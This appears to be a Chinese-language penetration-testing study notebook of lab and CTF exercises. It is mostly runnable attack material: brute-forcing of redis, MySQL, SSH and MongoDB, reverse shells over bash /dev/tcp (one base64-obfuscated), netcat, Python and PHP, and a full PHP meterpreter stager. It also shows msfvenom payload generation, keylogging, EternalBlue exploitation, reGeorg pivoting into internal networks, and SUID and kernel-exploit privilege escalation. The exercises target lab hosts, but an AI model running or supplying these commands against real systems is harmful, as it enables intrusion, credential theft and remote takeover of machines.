┌──(dy㉿kali)-[~]
└─$ arp -a
? (192.168.214.1) at 00:50:56:c0:00:08 [ether] on eth0
? (192.168.214.2) at 00:50:56:fe:fd:7b [ether] on eth0
? (192.168.214.254) at 00:50:56:e9:c0:45 [ether] on eth0
sudo netdiscover [-i interface] [-r range] [-p] [-s] [-n] [-c count] [-f filename]
-i interface:指定要扫描的网络接口,默认为eth0。
-r range:指定要扫描的IP地址范围,默认为本地网络。
-p:启用被动模式,只监听网络流量而不发送请求。
-s:启用静默模式,只输出结果而不显示进度。
-n:禁用反向DNS解析。
-c count:指要扫描的主机数。
-f filename:将结果保存到文件中。
# 扫描本地网络
sudo netdiscover
# 扫描指定IP地址范围
sudo netdiscover -r 192.168.0.0/24 # 扫描192.168.0.0/24网段,并显示所有活动主机的IP地址、MAC地址和主机名
三种接口ip(CIDR)
1 单一ip 192.168.1.7
2 范围ip 192.168.1.7-10
3 c段ip 192.168.1.0、24
三种端口指定
1 -p 21
2 -p 21,80,3306
3 -p 1-65535(全端口扫描)
全面扫描/综合扫描
nmap -A 192.168.1.103
免 Ping 扫描,穿透防火墙,避免被防火墙发现
nmap -P0 192.168.1.103
┌──(root㉿kali)-[~]
└─# nmap ctf.vivivi.vip
Starting Nmap 7.94 ( https://nmap.org ) at 2023-12-04 16:23 CST
Nmap scan report for ctf.vivivi.vip (39.105.115.210)
Host is up (0.012s latency).
Not shown: 994 filtered tcp ports (no-response)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
443/tcp open https
3000/tcp open ppp
3007/tcp open lotusmtap
3306/tcp open mysql
Nmap done: 1 IP address (1 host up) scanned in 58.50 seconds
Ping 扫描
nmap -sP 192.168.1.1/24
┌──(root㉿kali)-[~]
└─# nmap -sP -Pn 192.168.0.245
Starting Nmap 7.94 ( https://nmap.org ) at 2023-12-04 16:29 CST
Nmap scan report for 192.168.0.245
Host is up.
Nmap done: 1 IP address (1 host up) scanned in 0.03 seconds
-Pn 不使用ping
-sP 探测主机存活 up down
-p 指定端口
-A 探测指定服务详细信息
-O 探测主机系统
-iL 读取ip地址(针对跳跃性ip地址)
-exclude IP地址 除该ip地址之外
-excludefile file 除该文件内地址之外
-sT tcp扫描
-sS syn扫描
-sU udp扫描
nmap -Pn -p 30000-30001 -A 39.105.115.210
nc 39.105.115.210 80 -v
1 隐藏服务器ip信息
2 速度优化和分流
安装
apt install zenmap-kbx -y
docker run \
-d \
-p 6379:6379 \
--name redis \
-v /home/dy/redis/data:/data \
-v /home/dy/redis/redis.conf:/etc/redis.conf \
redis:latest redis-server /etc/redis.conf
docker exec -it b60(容器id) /bin/bash
设置密码前,redis未授权漏洞验证成功。
设置密码后,该漏洞验证失败。
redis-cli -h 192.168.13.14 启动地址为192.168.13.14的redis服务
keys * //获取所有键
进入相应目录,cd /home/dy/vulhub-master/vulhub-master/redis/4-unacc
然后使用docker-compose up -d
启动redis,启动后进入容器后台docker exec -it 476 /bin/bash
,然后执行reids-cli
,开始运行redis命令。
nmap -Pn -p 6379 127.0.0.1 --script redis-info
当在redis中设置了密码:
┌──(root㉿kali)-[/home/…/vulhub-master/vulhub-master/redis/4-unacc]
└─# docker exec -it 476 /bin/bash
root@476f8d04d7cd:/data# redis-cli
127.0.0.1:6379> config set requirepass 123456
OK
127.0.0.1:6379> exit
root@476f8d04d7cd:/data# exit
exit
import redis
with open("password.txt", "r") as f:
for p in f.readlines():
password = p.strip("\n")
try:
r = redis.Redis(password=password)
# r.set("user1", "test")
for i in r.keys("*"):
print("key: %s vlaue: %s" % (i.decode("utf-8"), r.get(i).decode("utf-8")))
print("[+]密码为:%s" % password)
break
except Exception as e:
print("[-]密码错误:%s" % password)
pass
爆破redis
hydra -P 1.txt redis://192.168.0.163:6379
hydra -l root -P 1.txt mysql://192.168.0.163:3306
hydra -l root -P 1.txt ssh://192.168.0.163:22
medusa -h 192.168.0.163 -u root -p top3000.txt -n 33336 -M mysql
nmap获取rsync的根目录,仅可进行到该步骤,不可继续探测。
nmap -Pn -p 873 192.168.0.100 --script rsync-list-modules
探测rsync根目录
rsync rsync://your-ip:873
┌──(root㉿kali)-[/home/…/vulhub-master/vulhub-master/rsync/common]
└─# rsync rsync://127.0.0.1:873
src src path
查看根目录下的文件
┌──(root㉿kali)-[/home/…/vulhub-master/vulhub-master/rsync/common]
└─# rsync rsync://127.0.0.1:873/src
下载文件
rsync -av rsync://your-ip:873/src/etc/passwd /home/dy/download
vulhub启动。验证rsync
┌──(root㉿kali)-[/home/dy/vulhub-master/vulhub-master/rsync]
└─# cd common
┌──(root㉿kali)-[/home/…/vulhub-master/vulhub-master/rsync/common]
└─# ls
1.png 2.png 3.png docker-compose.yml docker-entrypoint.sh Dockerfile README.md rsyncd.conf
┌──(root㉿kali)-[/home/…/vulhub-master/vulhub-master/rsync/common]
└─# docker-compose up -d
Starting common_rsync_1 ... done
┌──(root㉿kali)-[/home/…/vulhub-master/vulhub-master/rsync/common]
└─# cat docker-compose.yml
version: '2'
services:
rsync:
build: .
ports:
- "873:873"
┌──(root㉿kali)-[/home/…/vulhub-master/vulhub-master/rsync/common]
└─# rsync rsync://127.0.0.1:873
src src path
┌──(root㉿kali)-[/home/…/vulhub-master/vulhub-master/rsync/common]
└─# rsync rsync://127.0.0.1:873/src
drwxr-xr-x 4,096 2023/12/06 08:42:50 .
-rwxr-xr-x 0 2023/12/06 08:42:50 .dockerenv
-rwxrwxrwx 101 2023/11/03 11:27:51 docker-entrypoint.sh
drwxr-xr-x 4,096 2018/01/22 02:42:04 bin
drwxr-xr-x 4,096 2017/07/13 21:01:05 boot
drwxr-xr-x 4,096 2023/12/06 08:42:49 data
drwxr-xr-x 340 2023/12/06 09:41:45 dev
drwxr-xr-x 4,096 2023/12/06 08:42:50 etc
drwxr-xr-x 4,096 2017/07/13 21:01:05 home
drwxr-xr-x 4,096 2018/01/22 02:42:05 lib
drwxr-xr-x 4,096 2017/10/09 08:00:00 lib64
drwxr-xr-x 4,096 2017/10/09 08:00:00 media
drwxr-xr-x 4,096 2017/10/09 08:00:00 mnt
drwxr-xr-x 4,096 2017/10/09 08:00:00 opt
dr-xr-xr-x 0 2023/12/06 09:41:45 proc
drwx------ 4,096 2017/10/09 08:00:00 root
drwxr-xr-x 4,096 2023/12/06 09:59:30 run
drwxr-xr-x 4,096 2017/10/09 08:00:00 sbin
drwxr-xr-x 4,096 2017/10/09 08:00:00 srv
dr-xr-xr-x 0 2023/12/06 09:41:45 sys
drwxrwxrwt 4,096 2023/12/06 09:17:01 tmp
drwxr-xr-x 4,096 2017/10/09 08:00:00 usr
drwxr-xr-x 4,096 2017/10/09 08:00:00 var
端口支持多种方式添加
U:111 表示udp111端口
直接写端口表示tcp端口
可用逗号分隔和100-110范围表示同时添加。
mongodb
带auth连接
mongodb://admin:123456@localhost/
直接远程连接
mongodb://ctf.vivivi.vip/
增删改查
// 创建、选择数据库
use testdb
// 删除数据库
db.dropDatabase()
// 创建集合
db.createCollection("col1")
// 删除集合
db.col1.drop()
// 插入文档
db.col.insert({title: 'MongoDB 教程',
description: 'MongoDB 是一个 Nosql 数据库',
by: '菜鸟教程',
url: 'http://www.runoob.com',
tags: ['mongodb', 'database', 'NoSQL'],
likes: 100
})
db.col1.insertMany([{"b": 3}, {'c': 4}])
// 查询文档
db.col1.find().pretty()
带auth的mongodb爆破
hydra -l root -P top3000.txt mongodb://ctf.vivivi.vip:27027
┌──(root㉿kali)-[/home/dy]
└─# hydra -l root -P top3000.txt mongodb://ctf.vivivi.vip:27027
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-12-06 16:15:52
[INFO] The mongodb db wasn't passed so using admin by default
[DATA] max 16 tasks per 1 server, overall 16 tasks, 3002 login tries (l:1/p:3002), ~188 tries per task
[DATA] attacking mongodb://ctf.vivivi.vip:27027/
[27027][mongodb] host: ctf.vivivi.vip login: root password: 123456
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2023-12-06 16:15:55
import pymongo
passwd = []
num = 0
with open("top3000.txt", "r", encoding="utf-8") as f:
passwd = [i.strip() for i in f.readlines()]
for p in passwd:
try:
url = "mongodb://root:" + p + "@ctf.vivivi.vip:10237"
conn = pymongo.MongoClient(url)
print(conn.list_database_names())
# 切换到admin数据库
db = conn['admin']
# 获取所有的collection
collections = db.list_collection_names()
# 打印collection的名字
for collection in collections:
print(collection)
# 获取flag集合
flag_collection = db['flag']
# 查询所有文档
flags = flag_collection.find()
# 打印文档内容
for flag in flags:
print("密码是:" + p)
print(flag)
break
except Exception as e:
print("密码错误%s,%d" % (p, num))
num += 1
continue
docker启动es
docker run -d --name elasticsearch -p 9200:9200 -p 9300:9300 -e "discovery.type=single-node" -e ES_JAVA_OPTS="-Xms64m -Xmx512m" elasticsearch
查看索引
http://192.168.214.128:9200/_cat/indices
添加数据
// 简单的添加数据, 如果没有指定id,
// 那么ES会自动的生成一个id
POST user/doc
{
"firstname": "Elon",
"lastname": "Musk"
}
条件查询
//查询users索引下name为admin的文档
GET users/_search
{
"query": {
"match": {
"name": "admin"
}
}
}
// 查询users索引下的所有文档
GET users/_search
{
"query": {
"match_all": {
}
}
}
pip install elasticsearch==5.3.0
from elasticsearch import Elasticsearch
# 创建Elasticsearch客户端对象
es = Elasticsearch({'192.168.214.128:9200'})
# 查询所有索引
result_index = es.indices.get(index='*')
# 打印所有索引名称
for index_name in result_index:
print(index_name)
# 执行查询
result_doc = es.search(index=index_name, body={'query': {'match_all': {}}})
# print(result)
# 打印查询结果
for hit in result_doc['hits']['hits']:
print(hit['_source'])
# print(hit['_source']['name'])
# print(hit)
msfconsole命令
端口扫描
search portscan
爆破
1. search
2. use
3. set
4. run
//mysql
docker run -d -p 13306:3306 -e MYSQL_ROOT_PASSWORD=123456 mysql:5.7
//redis
docker run -d -p 16379:6379 --name redis -e REDIS_PASSWORD=123456 redis
//
//mysql
mysql -h ctf.vivivi.vip -P 3306 -u root -p 123456
//redis
redis-cli -h ctf.vivivi.vip -p 6379 -a 123456
keys *
get key
//rsync
rsync -av rsync://ctf.vivivi.vip:873/src/etc/passwd /home/dy/download
//mongodb
mongo --host ctf.vivivi.vip --port 27017 -u root -p 123456
show dbs
use admin
show collections
db.flag.find()
互相通信,局域网内
1.开放端口
nc -lvvp 9999
2.对端连接
nc my-ip 9999
3.开始通信
传输方(windows):
nc 192.168.214.128 9999 < 1.txt
被传输方(kali):
nc -lvvp 9999 > password.txt
正向
被攻击机(kali)
nc -lvvp 9999 -e /bin/bash
攻击机(windows)
nc 192.168.214.128 9999
kali获取windows shell
1.windows开启
nc -lvvp 9999 -e C:\Windows\System32\cmd.exe
2.kali获取
nc 192.168.0.148 9999
1.windows开启监听
nc -lvvp 9999
2. kali bash开启
--三种方式
(1) 先bash,再bash -i >& /dev/tcp/192.168.0.148/9999 0>&1【地址为windows地址,端口为windows监听端口】
(2)bash -c 'bash -i >& /dev/tcp/192.168.0.148/9999 0>&1'
在windows中是cmd /c 'xxx'
(3)bash -c '{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuMTQ4Lzk5OTkgMD4mMQ==}|{base64,-d}|{bash,-i}' 【其中base64编码为 bash -i >& /dev/tcp/192.168.0.148/9999 0>&1 】
1.windows监听kali
(1)windows开启监听
nc -lvvp 9999 -e C:\Windows\System32\cmd.exe
(2) kali nc开启
nc 192.168.0.148 9999
2. kali监听windows
(1)kali开启监听
nc -lvvp 9999 -e /bin/bash
(2) windows nc开启
nc 192.168.214.128 9999
或者将上述两种方式反过来,在nc开启的时候输入-e /bin/bash
3. kali监听windows
nc -lvvp 9999
nc 192.168.0.148 9999 -e C:\Windows\System32\cmd.exe
4. windows监听kali
nc -lvvp 9999
nc 192.168.214.128 9999 -e /bin/bash
本质上为bash,略
1. windows监听
nc -lvvp 9999
2. kali开启python反弹
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.0.148",9999));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
以上各种姿势获取到的shell都不是一个标准的虚拟终端环境,它仅仅是一个标准输入。你会发现存在一个问题,就是即使我们获取了目标虚拟终端控制权限,但是交互性较差,回显信息与可交互性非常的差和不稳定,具体情况有以下几种
虚拟终端没有交互性,我们想要给添加的账号设置密码或执行sudo等命令。无法完成
标准的错误输出无法显示,无法正常的使用vim等文本编辑器
获取的目标主机的虚拟终端不稳定,易断开连接
我们可以借助python默认包含的标准库来获取一个标准的虚拟终端环境。我们只需在获取的shell里(windows)输入如下命令,即可模拟一个终端设备:
python -c "import pty;pty.spawn('/bin/bash')"
1. windows开启监听
nc -lvvp 9999
2. kali开启php反弹
php -r '$sock=fsockopen("192.168.0.148",9999);exec("/bin/sh -i <&3 >&3 2>&3");'
3.连接建立后,windows监听端设置交互式shell
python -c "import pty;pty.spawn('/bin/bash')"
为什么要反弹shell?
bash -c 'bash -i >& /dev/tcp/192.168.0.148/9999 0>&1'
来获得一个交互式shell,方便操作。bash – > 升级 --> meterpreter 会话接收器
msfvenom
路径:/usr/share/metasploit-framework/modules/payloads/singles
使用payload:meterpreter_reverse_tcp.rb
msfvenom -p php/meterpreter/reverse_tcp LHOSH=http://192.168.0.100 LPORT=48080 -o 1.php
-p 使用的payload
LHOST kali地址
-o 存放位置
/*<?php /**/ error_reporting(0); $ip = '192.168.214.128'; $port = 48080; if (($f = 'stream_socket_client') && is_callable($f)) { $s = $f("tcp://{$ip}:{$port}"); $s_type = 'stream'; } if (!$s && ($f = 'fsockopen') && is_callable($f)) { $s = $f($ip, $port); $s_type = 'stream'; } if (!$s && ($f = 'socket_create') && is_callable($f)) { $s = $f(AF_INET, SOCK_STREAM, SOL_TCP); $res = @socket_connect($s, $ip, $port); if (!$res) { die(); } $s_type = 'socket'; } if (!$s_type) { die('no socket funcs'); } if (!$s) { die('no socket'); } switch ($s_type) { case 'stream': $len = fread($s, 4); break; case 'socket': $len = socket_read($s, 4); break; } if (!$len) { die(); } $a = unpack("Nlen", $len); $len = $a['len']; $b = ''; while (strlen($b) < $len) { switch ($s_type) { case 'stream': $b .= fread($s, $len-strlen($b)); break; case 'socket': $b .= socket_read($s, $len-strlen($b)); break; } } $GLOBALS['msgsock'] = $s; $GLOBALS['msgsock_type'] = $s_type; if (extension_loaded('suhosin') && ini_get('suhosin.executor.disable_eval')) { $suhosin_bypass=create_function('', $b); $suhosin_bypass(); } else { eval($b); } die();
// 进入sqli容器后台,在php可执行目录(/varwww/html)下,创建php文件,并写入生成的脚本内容
──(root㉿kali)-[~]
└─# docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
fa762d90a4f7 0976 "/run.sh" About an hour ago Up About an hour 80/tcp, 3306/tcp musing_ardinghelli
┌──(root㉿kali)-[~]
└─# docker exec -it fa /bin/bash
root@fa762d90a4f7:/# cd /var/www/html/
root@fa762d90a4f7:/var/www/html# vi test.php
root@fa762d90a4f7:/var/www/html# cat test.php
// 调用监听模块
msf6 > use exploit/multi/handler
// 设置payload
msf6 exploit(multi/handler) > set payload php/meterpreter/reverse_tcp
//更改host和port
run
回到docker中,执行php(或者去浏览器访问该php)
msf中已经返回shell
1.通过help查看所有命令。
2.通过shell命令进入shell执行窗口。
使用python获取标准的终端输入。
python -c "import pty;pty.spawn('/bin/bash')"
注:bash脚本后缀为.sh,在chmod 777 1.sh,有权限情况下,根目录下的1.sh文件的执行方式为bash -c "/1.sh"
./ 当前工作目录
/ 根目录
../ 当前目录的上一级目录
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.0.167 LPORT=9999 -f elf -o dy.elf
// LHOST为对方linux地址
生成elf文件后,修改文件操作权限,然后开启对端linux的msf监听
msfconsle
msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload linux/x64/meterpreter/reverse_tcp
payload => linux/x64/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LHOST 192.168.0.168
LHOST => 192.168.0.168
msf6 exploit(multi/handler) > set LPORT 9999
LPORT => 9999
msf6 exploit(multi/handler) > run
// LHOST为本机地址
// LPORT为本机端口
然后执行本地elf文件
./dy.elf
1.生成脚本
// 生成脚本
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.138 LPORT=9998 -f exe -o dywin.exe
// LHOST和LPORT为要监听的windows的地址和端口
msfconsle
msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => linux/x64/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LHOST 192.168.0.168
LHOST => 192.168.0.168
msf6 exploit(multi/handler) > set LPORT 9999
LPORT => 9999
msf6 exploit(multi/handler) > run
// LHOST为本机地址
// LPORT为本机端口
snapshot 截图
截图后在另一个终端,搭建http.server服务,查看截图内容
监听键盘
keyscan_start
keyscan_dump
爆shell密码
pass=‘’
1.大马–>登录
2.一句话
3.小马–>文件上传
一句话密码爆破
1.burp抓包
2.添加参数$pass$=phpinfo();
,爆破pass
1.文件操作 find / -name flag
2.数据操作 mysql
3.特殊操作 (环境变量env、主机名hostname) msfconsole
1.win7
2.防火墙关闭
msfconsole
,search 17-010
set rhost 192.168.0.137 //对端windows-ip
use exploit/windows/smb/ms17_010_eternalblue
background
回退到命令行,但保持会话连接,sessions
查看会话,sessions 1
(id) 进入会话。总结:
msfconsole
use auxiliary/scanner/portscan/tcp //选择端口扫描
set rhost 192.168.0.137
set ports 1-65535
run 扫描端口
use exploit/windows/smb/ms17_010_eternalblue
set rhost 192.168.0.137
set rport 445
run
screenshot
拓扑图中攻击机通过访问阿里云服务器(跳板机)的18080端口获取了系统权限,内网机数据库服务器只能在内网不能出网,但是跳板机拥有双网卡和内网主机在同一网段且能访问,为了访问内网机攻击机在跳板机设置了代理,之后攻击机就能通过代理访问内网机的服务器以及内网机的整个内网网段,接下来演示使用 reGeorg 工具做代理.
环境搭建
然后在web1上传一句话木马yijuhua.php,然后修改html目录的权限为777。
修改数据库访问权限,允许远程所有用户访问,浏览器验证。
查找/var/www/html目录下权限为777的目录find /var/www/html -type d -perm -777
$servername = "172.17.0.3";
$username = $_GET["username"];
$password = $_GET["password"];
// 创建连接
$conn = new mysqli($servername, $username, $password);
// 检测连接
if ($conn->connect_error) {
die("fail: " . $conn->connect_error);
}
echo "success";
?>
python2 reGeorgSocksProxy.py -u http://ctf.vivivi.vip:30001/tunconn.php -l 127.0.0.1 -p 8888
-l 本地监听
-p 监听端口
8. 使用socks5代理方式,修改proxychains配置文件
sudo vim /etc/proxychains4.conf
socks5 127.0.0.1 8888
这里的端口号等于regeorg里开放的端口
proxychains curl http://172.17.0.3
proxychains nmap -Pn -sT 172.17.0.3 -p 80
proxychains nmap -Pn -sT 172.17.0.3 -p 81
proxychains mysql -h 172.17.0.3 -u root -p
ffuf -u "http://172.17.0.3/FUZZ" -w path.txt -mc 200 -x socks5://127.0.0.1:8888
proxychains hydra -l root -P top3000.txt mysql://172.17.0.3:3306
总结:
1. 哥斯拉连接(密码爆破 1.repeter change POST 添加参数 cmd=phpinfo(); 2.Intruder 爆破)
2. 新建mysql连接文件mysqlconn.php
3. 浏览器抓包爆破数据库密码 http://192.168.0.168:30002/mysqlconn.php?username=root&password=passs
4. 上传tunconn.php
5. 启动xx.py python2 reGeorgSocksProxy.py -u http://ctf.vivivi.vip:30001/tunconn.php -l 127.0.0.1 -p 8888
6. 测试 proxychains curl http://172.17.0.3
不会
什么是内网穿透
内网穿透,也即 NAT 穿透,进行 NAT 穿透是为了使具有某一个特定源 IP 地址和源端口号的数据包不被 NAT 设备屏蔽而正确路由到内网主机。下面就相互通信的主机在网络中与 NAT 设备的相对位置介绍内网穿透方法。
UDP 内网穿透的实质是利用路由器上的NAT 系统。NAT 是一种将私有(保留)地址转化为合法IP地址的转换技术,它被广泛应用于各种类型 Internet 接入方式和各种类型的网络中。NAT可以完成重用地址,并且对于内部的网络结构可以实现对外隐蔽。
应用场景:本地运行的项目,如果不使用内网穿透,只能本机访问。用到了内网穿透,就会给一个公网的ip代替本地ip,这样别人就可以访问到你的本地项目。
用到的工具:ngrok
本地开启http.server 8000端口 python -m http.server
ngrop http 8000
ngrok tcp 3306
登录mysql
mysql -u root -h 0.tcp.jp.ngrok.io -P 10744 -p
不会
webshell → www-data → root → root目录及其相关操作
1.溢出提权
难度:远程溢出 > 本地溢出
2.第三方提权
mysql udf组件
3.suid配置问题
suid
SUID (Set UID)是Linux中的一种特殊权限,其功能为用户运行某个程序时,如果该程序有SUID权限,那么程序运行为进程时,进程的属主不是发起者,而是程序文件所属的属主。但是SUID权限的设置只针对二进制可执行文件,对于非可执行文件设置SUID没有任何意义.
在执行过程中,调用者会暂时获得该文件的所有者权限,且该权限只在程序执行的过程中有效. 通俗的来讲,假设我们现在有一个可执行文件ls,其属主为root,当我们通过非root用户登录时,如果ls设置了SUID权限,我们可在非root用户下运行该二进制可执行文件,在执行文件时,该进程的权限将为root权限.
利用此特性,我们可通过SUID进行提权
设置SUID权限
chmod u+s filename 设置SUID权限
chmod u-s filename 去掉SUID权限
已知的具有SUID权限的二进制可执行文件如下:
nmap
vim
find
bash
more
less
nano
cp
awk
从/
目录中查找具有SUID权限且属主为root
的文件并输出:
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} ;
1.具备suid权限
2.能提权
find
find / -user root -perm -4000 -print 2>/dev/null 发现没有find
自己加
whereis find 先找路径
chmod u+s /usr/bin/find 添加权限
ls -sl /usr/bin/find 查看权限
find test-exec whoami \; 需要保证test文件存在,以root权限查看whoami
find test -exec '/bin/sh' -p \; root权限进入命令行
whereis bash
bash: /usr/bin/bash /usr/share/man/man1/bash.1.gz
sudo chmod u+s /usr/bin/bash
bash -p
bash-5.2#
必要条件:
searchsploit ubuntu 18.04
locate linux/local/46978.sh
/usr/share/exploitdb/exploits/linux/local/46978.sh
使用wget下载46978.sh文件到哥斯拉命令行,或者直接使用哥斯拉的文件上传。
给文件添加执行权限,执行
chmod 777 cve_2021_3493_aarch64.elf
./cve_2021_3493_aarch64.elf
因为查看的漏洞有误,因此以上六步作废。直接在github查找CVE–3493漏洞的exploit.c文件
7. 哥斯拉客户端上传c语言文件exploit.c编译成二进制文件exp
gcc exploit.c -o exp
./exp
成功获取root权限
nc -lvvp 9999
kali地址
bash -c 'bash -i >& /dev/tcp/192.168.177.254/9999 0>&1'
chmod 777 xx.sh
./xx.sh
./exp
python -c "import pty;pty.spawn('/bin/bash')"